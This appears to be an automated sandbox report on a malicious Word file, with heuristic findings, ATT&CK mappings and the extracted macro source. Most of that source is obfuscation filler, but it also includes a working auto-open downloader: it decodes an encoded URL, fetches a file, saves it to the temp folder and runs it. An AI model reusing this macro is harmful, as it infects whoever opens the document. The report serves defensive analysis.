MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample is a malicious Office document containing obfuscated VBA macros. Heuristics indicate that these macros are designed to download and execute a file from the internet. The presence of CreateObject, HTTP download, and SaveToFile functions strongly suggests a downloader functionality. The obfuscation and auto-executing nature of the macros point towards an attempt to compromise the user's system.
Heuristics 9
-
ClamAV: Doc.Macro.GenericHeuristic-5901772-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5901772-2
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.Write sC_S65IyAP_.responseBody -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set YZXRv0LAG = CreateObject(QQyGSvOuSkKkvpH(urTSI4I)) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set YZXRv0LAG = CreateObject(QQyGSvOuSkKkvpH(urTSI4I)) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 37386 bytes |
SHA-256: b23be039ac052eb9f337ef4c97402ebec63da5418c4f784fff650a63ba64aa5e |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
731 of 911 identifiers look randomly generated (e.g. 'kDxnSccbgQJQvIHYbeuJCmUQrTZmwRfSEgCBd') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
AM6Ak5ZWT
End Sub
Attribute VB_Name = "Module1"
Private Sub HouNVKrm()
GoTo TbFgR
TbFgR:
GoTo ogEiMwsh
ogEiMwsh:
GoTo jwGppdOqMZ
jwGppdOqMZ:
End Sub
Public Sub mYcCqnhzxTpNTPc()
End Sub
Public Sub akfIYqKeYNtCDB()
GoTo VjiyBEwUkd
VjiyBEwUkd:
GoTo xRuzMQsFtfG
xRuzMQsFtfG:
GoTo DlCos
DlCos:
GoTo EyQNkFfQSe
EyQNkFfQSe:
End Sub
Public Function gTdAvZbHbhpe()
End Function
Private Sub QuAHmzyOSUMmBt()
GoTo KPdaIVv
KPdaIVv:
GoTo fsToSrIjJUOhPnQhnjvL
fsToSrIjJUOhPnQhnjvL:
GoTo ktQLprY
ktQLprY:
GoTo FuaVVUaKQZpP
FuaVVUaKQZpP:
GoTo UYPoRw
UYPoRw:
GoTo pJzqEOxxkkLUh
pJzqEOxxkkLUh:
GoTo HgyJyv
HgyJyv:
End Sub
Private Function EcLVcYkABQZi()
End Function
Private Sub MSmujO()
GoTo zszeEqGJMEdGlUQFa
zszeEqGJMEdGlUQFa:
GoTo UfNNAnOlxLtKwAb
UfNNAnOlxLtKwAb:
GoTo FYUsNmsoADRnpyID
FYUsNmsoADRnpyID:
GoTo OjCwmRbbafPI
OjCwmRbbafPI:
GoTo HGQadUtIBlT
HGQadUtIBlT:
GoTo SYlvQeRDfB
SYlvQeRDfB:
GoTo JbMQr
JbMQr:
End Sub
Private Function QomIe()
GoTo TiErBZTxzfzEMC
TiErBZTxzfzEMC:
GoTo sqvSZgKYQn
sqvSZgKYQn:
GoTo lKZRCkmGjoB
lKZRCkmGjoB:
GoTo uTTvDQs
uTTvDQs:
GoTo PhHitnFoKu
PhHitnFoKu:
End Function
Public Sub HSkzGIRpkNPwC()
GoTo uutxjpwNonDt
uutxjpwNonDt:
GoTo MqUSApJzq
MqUSApJzq:
End Sub
Public Sub xxkkLUhIdHgyJ()
GoTo EcLVcYkABQZiFnP
EcLVcYkABQZiFnP:
GoTo SmujOKKJOzszeEqG
SmujOKKJOzszeEqG:
GoTo EdGlUQFaQGUfNNAnO
EdGlUQFaQGUfNNAnO:
GoTo LtKwAbOLFYUs
LtKwAbOLFYUs:
GoTo soADRnpyI
soADRnpyI:
End Sub
Public Function wOjCwm()
GoTo fPIPu
fPIPu:
GoTo QadUtIBlTVqSYlv
QadUtIBlTVqSYlv:
End Function
Public Function qcDaZAizlpP()
End Function
Private Sub JhCbTPbsGcPax()
End Sub
Public Function YdlbGPPOTqx()
GoTo LORJixqaIKf
LORJixqaIKf:
GoTo aQFSssTcpQkPoFgG
aQFSssTcpQkPoFgG:
GoTo eMjSekgrIYfgqNIm
eMjSekgrIYfgqNIm:
End Function
Attribute VB_Name = "Module2"
Public Sub GoqLnsGClzYZzIU()
End Sub
Private Function mLmxrJsPzJPLYo()
End Function
Private Sub toRTAGaiQDyyxCn()
GoTo rHxAsQuZQE
rHxAsQuZQE:
GoTo EvISBBppPZlNhMkCO
EvISBBppPZlNhMkCO:
GoTo tLJgPagcoFFcd
tLJgPagcoFFcd:
GoTo rUkQQqyoTOPNSDwD
rUkQQqyoTOPNSDwD:
GoTo uKNQIiKpaUJeULZ
uKNQIiKpaUJeULZ:
GoTo RFrSpBPxOAEfSQKdaw
RFrSpBPxOAEfSQKdaw:
End Sub
Public Sub wtEHQstC()
GoTo TnGBqVfgejTMT
TnGBqVfgejTMT:
GoTo KbfhZyNFqYauQcpA
KbfhZyNFqYauQcpA:
GoTo VHjFEgN
VHjFEgN:
GoTo VvVhbtqMjHzvHYnIwF
VvVhbtqMjHzvHYnIwF:
GoTo BDkDJRGmvwuzQdlOcbrv
BDkDJRGmvwuzQdlOcbrv:
GoTo OeVGoqLns
OeVGoqLns:
GoTo lzYZzIUxQvTmLm
lzYZzIUxQvTmLm:
End Sub
Private Function JsPzJPLY()
End Function
Private Function VtoRTAGaiQDyy()
GoTo BRsrHxAsQuZ
BRsrHxAsQuZ:
GoTo tNEvISBBppPZlN
tNEvISBBppPZlN:
GoTo kCOCztLJgPagcoFF
kCOCztLJgPagcoFF:
GoTo mJrUkQ
mJrUkQ:
GoTo yoTOPNSDwD
yoTOPNSDwD:
GoTo uKNQIiKpaUJeULZSRFrSpBP
uKNQIiKpaUJeULZSRFrSpBP:
End Function
Private Function AEfSQKdawRrwt()
End Function
Public Function tCMHlATn()
GoTo fgejTMTyLKbfhZyNFqY
fgejTMTyLKbfhZyNFqY:
GoTo QcpAUiVHjFE
QcpAUiVHjFE:
GoTo fQVvVhbtqMjHzvHYn
fQVvVhbtqMjHzvHYn:
GoTo FdYBDkDJRGm
FdYBDkDJRGm:
GoTo uzQdlOcbrvx
uzQdlOcbrvx:
GoTo eVGoqLnsGClzYZzIU
eVGoqLnsGClzYZzIU:
End Function
Public Sub vTmLmxrJsPzJPL()
End Sub
Public Sub MVtoRTAGaiQD()
GoTo nuBRsrHxAsQuZ
nuBRsrHxAsQuZ:
GoTo tNEvISBBppPZlNMkCOCzt
tNEvISBBppPZlNMkCOCzt:
GoTo EoyEAMd
EoyEAMd:
GoTo BKiPtIpvOQMsn
BKiPtIpvOQMsn:
GoTo rcUcGhSj
rcUcGhSj:
End Sub
Public Sub hFjNxtiC()
End Sub
Public Sub qqePrNaoVnZd()
End Sub
Public Function ByUqOU()
End Function
Private Sub QRblgJZrL()
End Sub
Public Function DECHslsQk()
GoTo xQleOwySvANZtG
xQleOwySvANZtG:
GoTo HedEmDp
HedEmDp:
GoTo uFzROlHgYTfwLhUeBwa
uFzROlHgYTfwLhUeBwa:
GoTo ciqfKTUSYvBInAz
ciqfKTUSYvBInAz:
GoTo VNnCufMOjLQfbJQwwYh
VNnCufMOjLQfbJQwwYh:
End Function
Private Function pTsKkKVPiQoYiok()
End Function
Private Sub luRMqsZ()
End Sub
Public Sub bQQVbLSaq()
GoTo ZQpSxvdRmdShraaMNox
ZQpSxvdRmdShraaMNox:
GoTo FlIbnbYR
FlIbnbYR:
GoTo EoyEAMdzBKiPt
EoyEAMdzBKiPt:
GoTo vOQMsnnmr
vOQMsnnmr:
GoTo cGhSjmphFjNxtiCtkxH
cGhSjmphFjNxtiCtkxH:
GoTo ePrNaoVnZd
ePrNaoVnZd:
GoTo pjByUqOUQd
pjByUqOUQd:
GoTo QRblgJZrLfZ
QRblgJZrLfZ:
End Sub
Public Function DECHslsQkzCFxQle()
GoTo vANZtGugHedEmDptTuF
vANZtGugHedEmDptTuF:
GoTo OlHgYTfwLhUeBwacIc
OlHgYTfwLhUeBwacIc:
GoTo fKTUSYvBIn
fKTUSYvBIn:
GoTo PTVNnCufMOjLQ
PTVNnCufMOjLQ:
GoTo JQwwY
JQwwY:
End Function
Private Sub UpTsKkKVP()
End Sub
Attribute VB_Name = "Module3"
Public Function IcHfxQ()
GoTo EbKUbQjAOQYhEzdfLRl
EbKUbQjAOQYhEzdfLRl:
GoTo OJKINyF
OJKINyF:
GoTo DDSILD
DDSILD:
GoTo kiPEZPGTfNMAAc
kiPEZPGTfNMAAc:
GoTo ZsYvNaNLFYUr
ZsYvNaNLFYUr:
GoTo rozQRnox
rozQRnox:
GoTo gvciBJzfabZeO
gvciBJzfabZeO:
End Function
Private Function tUFVacTtVAlhU()
GoTo vedQDeAM
vedQDeAM:
GoTo aMQqecVolHeCIEP
aMQqecVolHeCIEP:
GoTo DEOYSwL
DEOYSwL:
End Function
Public Function RMBhqrpufZ()
End Function
Private Function mqskJZQBjlGjnBL()
GoTo uQPsZrdhGhsmEBYuSKG
uQPsZrdhGhsmEBYuSKG:
GoTo yTHQojMO
yTHQojMO:
GoTo UdSyGHFKipwbnnCGJ
UdSyGHFKipwbnnCGJ:
GoTo piRzC
piRzC:
GoTo DRNxKkkKTgIc
DRNxKkkKTgIc:
End Function
Public Sub xQxICU()
GoTo bQjAOQYhEzdfLRltjOJ
bQjAOQYhEzdfLRltjOJ:
GoTo NyFMdDDSILDdFki
NyFMdDDSILDdFki:
End Sub
Private Sub ZPGTfNMAAck()
GoTo vNaNLFYUrbmrozQRnoxV
vNaNLFYUrbmrozQRnoxV:
GoTo vciBJz
vciBJz:
GoTo bZeOH
bZeOH:
GoTo UFVacTtVAlh
UFVacTtVAlh:
GoTo gQlvedQDe
gQlvedQDe:
GoTo bIaMQqecVolHeCIEP
bIaMQqecVolHeCIEP:
GoTo DEOYSwLyRMBhq
DEOYSwLyRMBhq:
GoTo ufZgJQVmq
ufZgJQVmq:
GoTo uJCmUQrTZmwRfSEgCBd
uJCmUQrTZmwRfSEgCBd:
End Sub
Public Function NRsSe()
GoTo fEwsDUkFsCaUyAhA
fEwsDUkFsCaUyAhA:
GoTo DjstrwTahLZYosumL
DjstrwTahLZYosumL:
GoTo DlnHkpCzivUUwERtNsQ
DlnHkpCzivUUwERtNsQ:
GoTo juoGpMwGMIUlAHJ
juoGpMwGMIUlAHJ:
End Function
Public Function lOQxDQfT()
GoTo ykqyOpoEuxp
ykqyOpoEuxp:
GoTo VTBqKArFPy
VTBqKArFPy:
GoTo mMViKeIh
mMViKeIh:
GoTo zwqIFdMQdZlBCYaj
zwqIFdMQdZlBCYaj:
GoTo QhNTnvkPL
QhNTnvkPL:
End Function
Public Function PAtAfFrHKNFe()
GoTo GbRIVgOOCoPmyMuLxB
GbRIVgOOCoPmyMuLxB:
GoTo MGZVtOntpBESoqzJEi
MGZVtOntpBESoqzJEi:
GoTo kDxnSccbgQJQvIHYbe
kDxnSccbgQJQvIHYbe:
End Function
Public Function JCmUQrTZm()
GoTo EgCBdKcNRsSeYqnJfE
EgCBdKcNRsSeYqnJfE:
GoTo DUkFsCaUyA
DUkFsCaUyA:
GoTo GODjstrwTahLZ
GODjstrwTahLZ:
GoTo sumLbSDln
sumLbSDln:
GoTo pCzivUUw
pCzivUUw:
GoTo tNsQiIjuoGpMwGMIUl
tNsQiIjuoGpMwGMIUl:
GoTo JSqlOQxDQfTzvvu
JSqlOQxDQfTzvvu:
GoTo qyOpoEux
qyOpoEux:
End Function
Private Sub rVTBqKArFPyyl()
End Sub
Public Sub KeIhzK()
GoTo FdMQdZlBCYajGoQ
FdMQdZlBCYajGoQ:
GoTo TnvkPLLKPAtAfFrHK
TnvkPLLKPAtAfFrHK:
GoTo eHmVRGbRIVgOOC
eHmVRGbRIVgOOC:
GoTo myMuLxBcPMGZVtOnt
myMuLxBcPMGZVtOnt:
GoTo ESoqzJEixPkDx
ESoqzJEixPkDx:
End Sub
Private Function ccbgQJQvIHYbeV()
End Function
Public Sub UQrTZmw()
GoTo gCBdKcNRsSeYqn
gCBdKcNRsSeYqn:
GoTo EwsDUk
EwsDUk:
End Sub
Public Sub CaUyAhAGO()
GoTo rwTahLZYos
rwTahLZYos:
GoTo LbSDlnHk
LbSDlnHk:
GoTo zivUUwERtNsQiI
zivUUwERtNsQiI:
End Sub
Private Sub oGpMwGMIU()
End Sub
Private Sub SqlOQxDQfTzv()
GoTo qyOpoEuxNrVTBqKAr
qyOpoEuxNrVTBqKAr:
GoTo yylmMViKeIhzKzwqIF
yylmMViKeIhzKzwqIF:
GoTo QdZlBCYajGoQhNTn
QdZlBCYajGoQhNTn:
GoTo PLLKPAtA
PLLKPAtA:
GoTo rHKNFeHmVRGbRI
rHKNFeHmVRGbRI:
End Sub
Public Function OOCoPm()
GoTo xBcPMGZVtOntpBES
xBcPMGZVtOntpBES:
GoTo zJEixPkDxn
zJEixPkDxn:
GoTo cbgQJ
cbgQJ:
GoTo IHYbeVuJCmU
IHYbeVuJCmU:
GoTo TZmwRfSEgC
TZmwRfSEgC:
GoTo KcNRsS
KcNRsS:
GoTo qnJfEwsDUkFsCaUyAhAG
qnJfEwsDUkFsCaUyAhAG:
GoTo jstrwTahLZYosu
jstrwTahLZYosu:
End Function
Private Sub bSDlnHkpCzivU()
End Sub
Public Sub tNsQiIjuoGpMwG()
GoTo AHJSqlOQ
AHJSqlOQ:
GoTo QfTzvvuykqyOpo
QfTzvvuykqyOpo:
GoTo xpNrVTBqKAr
xpNrVTBqKAr:
GoTo yylmMViKeIhzKzwqIFMQdZlB
yylmMViKeIhzKzwqIFMQdZlB:
GoTo ajGoQhNTnvkPLLKPAtAf
ajGoQhNTnvkPLLKPAtAf:
GoTo HKNFeHmVRG
HKNFeHmVRG:
GoTo IVgOOCoPmyMuLxBcPM
IVgOOCoPmyMuLxBcPM:
End Sub
Attribute VB_Name = "Module4"
Private Function arDrpjByUE()
GoTo uvQRcz
uvQRcz:
GoTo ZFMfndIDECHsmtQy
ZFMfndIDECHsmtQy:
GoTo DGxQzfOKyTJAO
DGxQzfOKyTJAO:
GoTo HuhHerFmEquTIFz
HuhHerFmEquTIFz:
GoTo lHgmitxLhisBwaqId
lHgmitxLhisBwaqId:
GoTo gLUUSYJCJo
gLUUSYJCJo:
GoTo PTQOnCvfMPkMQ
PTQOnCvfMPkMQ:
GoTo KYKxZutVD
KYKxZutVD:
GoTo KkKVPifCYwolwNc
KkKVPifCYwolwNc:
End Function
Public Sub uSMqsZt()
End Sub
Private Sub JJHMkrydpp()
GoTo crkTBEZBFTQzMm
crkTBEZBFTQzMm:
GoTo ViKeJhzZzKEQGdMYd
ViKeJhzZzKEQGdMYd:
GoTo CQZajHBf
CQZajHBf:
GoTo TnvlQLMKPAHOfGFVL
TnvlQLMKPAHOfGFVL:
GoTo fHmkRGbRIQhPOC
fHmkRGbRIQhPOC:
GoTo mybuay
mybuay:
GoTo PNHaQ
PNHaQ:
End Sub
Public Sub ouqBS()
End Sub
Public Function wdGVCIckaFABzEp()
GoTo gwACuTwbLHv
gwACuTwbLHv:
GoTo xLVEDreEbnBjAnr
xLVEDreEbnBjAnr:
GoTo CwOLiEdjfqtIef
CwOLiEdjfqtIef:
GoTo tQmFasncHQRP
tQmFasncHQRP:
End Function
Public Function zGkxwMQTKkz()
GoTo hJNcmGUHuUrqSzRD
hJNcmGUHuUrqSzRD:
GoTo HSMfcyU
HSMfcyU:
End Function
Private Function htJZuir()
End Function
Public Sub VqvDtZhi()
End Sub
Private Function QBNNdhkbAPIsa()
GoTo soYlKK
soYlKK:
GoTo GjCiFYxYjdv
GjCiFYxYjdv:
GoTo lwBxJbpxyHgaD
lwBxJbpxyHgaD:
GoTo sLTJpklj
sLTJpklj:
GoTo gnDeetkmeDgKIqfzqhuF
gnDeetkmeDgKIqfzqhuF:
End Function
Private Sub bbCKQzS()
End Sub
Private Sub omgyvRBMRO()
End Sub
Public Sub OYwdGVCIckaFA()
End Sub
Public Function iqTvgwAC()
GoTo LHvPG
LHvPG:
GoTo VEDreEbnBjAnrQEC
VEDreEbnBjAnrQEC:
GoTo LiEdjfqtIefpytQmF
LiEdjfqtIefpytQmF:
GoTo ncHQRPUFzG
ncHQRPUFzG:
GoTo wMQTKkzrcJLh
wMQTKkzrcJLh:
GoTo cmGUHuUrqSzRDHhHS
cmGUHuUrqSzRDHhHS:
GoTo cyUtlh
cyUtlh:
GoTo ZuirOJnpVqvDtZhi
ZuirOJnpVqvDtZhi:
GoTo IPQBNNdh
IPQBNNdh:
End Function
Private Function APIsa()
End Function
Public Function soYlKKuGjCiFY()
End Function
Private Function vfBlw()
End Function
Public Function biktQLprYexFu()
End Function
Public Function aKQZpPOfUYPoRw()
GoTo bRgqZZLM
bRgqZZLM:
GoTo IlEjHalaQQj
IlEjHalaQQj:
End Function
Attribute VB_Name = "Module5"
Public Function QQyGSvOuSkKkvpH(ByVal DkqJRHniihmQe As String) As String
GoTo VMDQbJJxxYhtV
VMDQbJJxxYhtV:
GoTo sKQKHCTRoYiokwNNklu
sKQKHCTRoYiokwNNklu:
GoTo dsZfyGwcQYVbELqQCSVZQqSxidRm
dsZfyGwcQYVbELqQCSVZQqSxidRm:
GoTo hrbaNzbxJYFQIMnbZSl
hrbaNzbxJYFQIMnbZSl:
GoTo azEBMPfABKUPtI
azEBMPfABKUPtI:
GoTo OJyenomrcUc
OJyenomrcUc:
Dim BccrhkcAeIG As Long
GoTo jnphGVNygiCfkxIdqeP
jnphGVNygiCfkxIdqeP:
GoTo MoVnaeDepjByUrPHD
MoVnaeDepjByUrPHD:
GoTo TpdmJEikQkqynS
TpdmJEikQkqynS:
GoTo bgDJQv
bgDJQv:
GoTo YceVvKCnUQrTZnj
YceVvKCnUQrTZnj:
GoTo EFgpBd
EFgpBd:
GoTo ASsSe
ASsSe:
For BccrhkcAeIG = 1 To Len(DkqJRHniihmQe)
GoTo wgqwsEUkrtCaUyAhnGODffejTbiy
wgqwsEUkrtCaUyAhnGODffejTbiy:
GoTo oehZxbFDlaulcpziiVVw
oehZxbFDlaulcpziiVVw:
GoTo uNtQjvjgaspMwGMIUl
uNtQjvjgaspMwGMIUl:
QQyGSvOuSkKkvpH = QQyGSvOuSkKkvpH & Chr(Asc(Mid(DkqJRHniihmQe, BccrhkcAeIG, 1)) - 13)
GoTo rOwZpVc
rOwZpVc:
Next BccrhkcAeIG
GoTo ZTTSYIBInN
ZTTSYIBInN:
GoTo SVNmPueaOjaQeoQQK
SVNmPueaOjaQeoQQK:
GoTo uGUCTFJkYUOhfBQvBxJM
uGUCTFJkYUOhfBQvBxJM:
GoTo yHRMqFYsLFvb
yHRMqFYsLFvb:
GoTo joZRZDQP
joZRZDQP:
End Function
Attribute VB_Name = "Module11"
Private Const GCbL0aW2OtyC = "iSsqtS;r…r"
Private Const SewsgJtq = "`uryy;N}}yvpnЃv|{"
Private Const UpwZ = "NQ\QO;`Ѓ rnz"
Private Const jyPKwb2gEm = "`p v}Ѓv{t;Svyr`†ЂЃrz\owrpЃ"
Private Const s4OLIjiY = "TRa"
Private Const hgX4AO6OBJaw = "Z`eZY?;eZYUaa]"
Private Const KEqE = GCbL0aW2OtyC
Private Const c3IyK8a = "uЃЃ}G<<{nЂ‡r„†pvrp‡xv;pon;}y<wЂ<ov{;r…r"
Private Const urTSI4I = jyPKwb2gEm
Sub AM6Ak5ZWT()
Dim YZXRv0LAG, gmkGo6q
Dim RgqLZLyawuQ As Integer
For RgqLZLyawuQ = 0 To 0
If RgqLZLyawuQ = 5 Then End
Next RgqLZLyawuQ
Set YZXRv0LAG = CreateObject(QQyGSvOuSkKkvpH(urTSI4I))
Dim ijnK2g, j_YLrCc1S, fz21trwt
Const rihuZ61esFi = 2
Set ijnK2g = YZXRv0LAG.GetSpecialFolder(rihuZ61esFi)
Dim rHjiyo As Integer
For rHjiyo = 0 To 0
If rHjiyo = 5 Then End
Next rHjiyo
dfggg = QQyGSvOuSkKkvpH(c3IyK8a)
FgKJHofd = ijnK2g & QQyGSvOuSkKkvpH(KEqE)
Dim iktCxbrJexr As Integer
For iktCxbrJexr = 0 To 0
If iktCxbrJexr = 5 Then End
Next iktCxbrJexr
Set sC_S65IyAP_ = CreateObject(QQyGSvOuSkKkvpH(hgX4AO6OBJaw))
sC_S65IyAP_.Open QQyGSvOuSkKkvpH(s4OLIjiY), dfggg, False
sC_S65IyAP_.send
Set hxuWnpbqBtp4u = CreateObject(QQyGSvOuSkKkvpH(urTSI4I))
Dim fIJqwP As Integer
For fIJqwP = 0 To 0
If fIJqwP = 5 Then End
Next fIJqwP
If hxuWnpbqBtp4u.FileExists(FgKJHofd) Then
hxuWnpbqBtp4u.DeleteFile (FgKJHofd)
Dim juyMikt As Integer
For juyMikt = 0 To 0
If juyMikt = 5 Then End
Next juyMikt
End If
Dim Antkhrp9gTyfJ3
Dim cCcnhzjFpA As Integer
For cCcnhzjFpA = 0 To 0
If cCcnhzjFpA = 5 Then End
Next cCcnhzjFpA
Set Antkhrp9gTyfJ3 = CreateObject(QQyGSvOuSkKkvpH(UpwZ))
Dim JexrhMV As Integer
For JexrhMV = 0 To 0
If JexrhMV = 5 Then End
Next JexrhMV
With Antkhrp9gTyfJ3
Dim SevwRSdAhKaG As Integer
For SevwRSdAhKaG = 0 To 0
If SevwRSdAhKaG = 5 Then End
Next SevwRSdAhKaG
.Type = 1
.Open
.Write sC_S65IyAP_.responseBody
.SaveToFile FgKJHofd
.Close
Dim bFSRilogETMw As Integer
For bFSRilogETMw = 0 To 0
If bFSRilogETMw = 5 Then End
Next bFSRilogETMw
End With
Dim UKBPaIIvi As Integer
For UKBPaIIvi = 0 To 0
If UKBPaIIvi = 5 Then End
Next UKBPaIIvi
Set Antkhrp9gTyfJ3 = Nothing
Dim GCNftBCMk As Integer
For GCNftBCMk = 0 To 0
If GCNftBCMk = 5 Then End
Next GCNftBCMk
If hxuWnpbqBtp4u.FileExists(FgKJHofd) Then
Dim rJexr As Integer
For rJexr = 0 To 0
If rJexr = 5 Then End
Next rJexr
End If
Dim BPaIIviIfs As Integer
For BPaIIviIfs = 0 To 0
If BPaIIviIfs = 5 Then End
Next BPaIIviIfs
Set Bd8ym3iD2Ezpf = CreateObject(QQyGSvOuSkKkvpH(SewsgJtq))
Dim vwRSdhKaGNgoeJ As Integer
For vwRSdhKaGNgoeJ = 0 To 0
If vwRSdhKaGNgoeJ = 5 Then End
Next vwRSdhKaGNgoeJ
Bd8ym3iD2Ezpf.Open ijnK2g & QQyGSvOuSkKkvpH(KEqE)
End Sub
Attribute VB_Name = "Module6"
Public Function MptHRnAn()
End Function
Public Sub ygxjnMnysKHfAZQ()
GoTo aNQvqSUBVbjZEN
aNQvqSUBVbjZEN:
GoTo RovChutJMPHgvoYG
RovChutJMPHgvoYG:
GoTo FKYUDQ
FKYUDQ:
GoTo RanOiNmDeD
RanOiNmDeD:
GoTo bKhQciepGUdeoLG
bKhQciepGUdeoLG:
GoTo RZrzpUPQ
RZrzpUPQ:
GoTo FLSjKJaPSJjLrpQKgVM
FLSjKJaPSJjLrpQKgVM:
GoTo TTGGiqDf
TTGGiqDf:
GoTo CTgURL
CTgURL:
End Sub
Public Sub xhsyu()
End Sub
Private Sub uEcImCjpI()
GoTo hfkVOVA
hfkVOVA:
GoTo cgjbzdHrncwmdrBk
cgjbzdHrncwmdrBk:
GoTo JlGTiPhSQwlicurOkIOK
JlGTiPhSQwlicurOkIOK:
GoTo oJLUf
oJLUf:
GoTo SlFZSIoxxwAmfm
SlFZSIoxxwAmfm:
GoTo dtwzrP
dtwzrP:
End Sub
Private Sub HpsMptHRnAnaBYV()
End Sub
Private Sub nMnysKH()
End Sub
Private Sub NZqEaNQvqSUBVb()
GoTo NMRovChutJMPHgvoY
NMRovChutJMPHgvoY:
GoTo dFKYUDQqqRanOiN
dFKYUDQqqRanOiN:
GoTo eDOIbKhQciepGU
eDOIbKhQciepGU:
GoTo oLGklR
oLGklR:
GoTo zpUPQOTFLS
zpUPQOTFLS:
GoTo JaPSJjLrpQKgVMbl
JaPSJjLrpQKgVMbl:
GoTo GGiqDfzeCTgURLebxhs
GGiqDfzeCTgURLebxhs:
GoTo FQYtuEcImCj
FQYtuEcImCj:
GoTo QFlhhfkVOVAbMcg
QFlhhfkVOVAbMcg:
End Sub
Private Sub zdHrn()
End Sub
Public Function rBkkQ()
End Function
Private Sub iPhSQwlicurOkI()
GoTo oJLUfCSlFZSIoxxwAmfmQddtw
oJLUfCSlFZSIoxxwAmfmQddtw:
GoTo PfYHpsMptH
PfYHpsMptH:
GoTo AnaBYVygx
AnaBYVygx:
GoTo MnysKHfAZ
MnysKHfAZ:
GoTo ZqEaNQvqSUBVbjZEN
ZqEaNQvqSUBVbjZEN:
GoTo RovChutJMPHgvoYGdFKYUDQqqRanOiN
RovChutJMPHgvoYGdFKYUDQqqRanOiN:
GoTo eDOIbKhQciepGUeoLGkl
eDOIbKhQciepGUeoLGkl:
End Sub
Private Sub rzpUPQOTFLSjKJa()
GoTo LrpQKgV
LrpQKgV:
GoTo lTTGG
lTTGG:
GoTo DfzeCTgURL
DfzeCTgURL:
GoTo xhsyuQYtuEcImCjpIQFl
xhsyuQYtuEcImCjpIQFl:
GoTo fkVOVAb
fkVOVAb:
GoTo gjbzd
gjbzd:
GoTo ncwmdrBkkQ
ncwmdrBkkQ:
GoTo GTiPhSQw
GTiPhSQw:
End Sub
Private Sub curOkI()
End Sub
Public Sub oJLUfCSlFZSIoxxwAmfm()
GoTo wzrPfYHpsM
wzrPfYHpsM:
GoTo HRnAnaBYVyg
HRnAnaBYVyg:
End Sub
Private Sub ZyZkewtPmKCyKb()
End Sub
Public Sub gbEGnHMUKqyz()
End Sub
Private Function oRfeuy()
End Function
Private Function aJruOr()
GoTo CccCLYATz
CccCLYATz:
GoTo OpAuMwSCM
OpAuMwSCM:
GoTo bsGOPZwrUQDJdlbGB
bsGOPZwrUQDJdlbGB:
GoTo FqxEUvvKADvUx
FqxEUvvKADvUx:
GoTo HwQHy
HwQHy:
GoTo FEssTcoQkPnFRFDxPMjS
FEssTcoQkPnFRFDxPMjS:
GoTo grIJfgpN
grIJfgpN:
End Function
Public Function nTatBrQRSQVGzGl()
End Function
Public Sub TLlNsdYMhYOdnV()
GoTo sESAREIiVTNgdzVuAwH
sESAREIiVTNgdzVuAwH:
GoTo vwGPK
vwGPK:
GoTo QqJEtZijhmQQYB
QqJEtZijhmQQYB:
GoTo eikcBQItbdybftDYm
eikcBQItbdybftDYm:
GoTo mIHkQjUZyZkewtPm
mIHkQjUZyZkewtPm:
GoTo yKbqLzIgbEGnH
yKbqLzIgbEGnH:
GoTo KqyzxCahoRfeuyBsRha
KqyzxCahoRfeuyBsRha:
End Sub
Attribute VB_Name = "Module7"
Public Sub sxKUqDrdEbaBj()
End Sub
Private Function qBvNLiDcUQctHe()
End Function
Public Sub QYEZemcHQ()
End Sub
Private Sub yFkxwMPSkyrcJLgINbYG()
GoTo dqRmQpGhHSMfNkTflhs
dqRmQpGhHSMfNkTflhs:
GoTo girOJnpVcvDsYTTRQIOV
girOJnpVcvDsYTTRQIOV:
GoTo MdSVNmPusaOjZPeoQ
MdSVNmPusaOjZPeoQ:
GoTo JluGiChFYjYUOheB
JluGiChFYjYUOheB:
GoTo BxJabwyHfLp
BxJabwyHfLp:
End Sub
Private Sub sLTIokk()
GoTo ZDePgjmeCgKuqfzqgu
ZDePgjmeCgKuqfzqgu:
GoTo naMoKQlSk
naMoKQlSk:
GoTo Aolfx
Aolfx:
GoTo nLRNadrMOYidGVoIcV
nLRNadrMOYidGVoIcV:
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.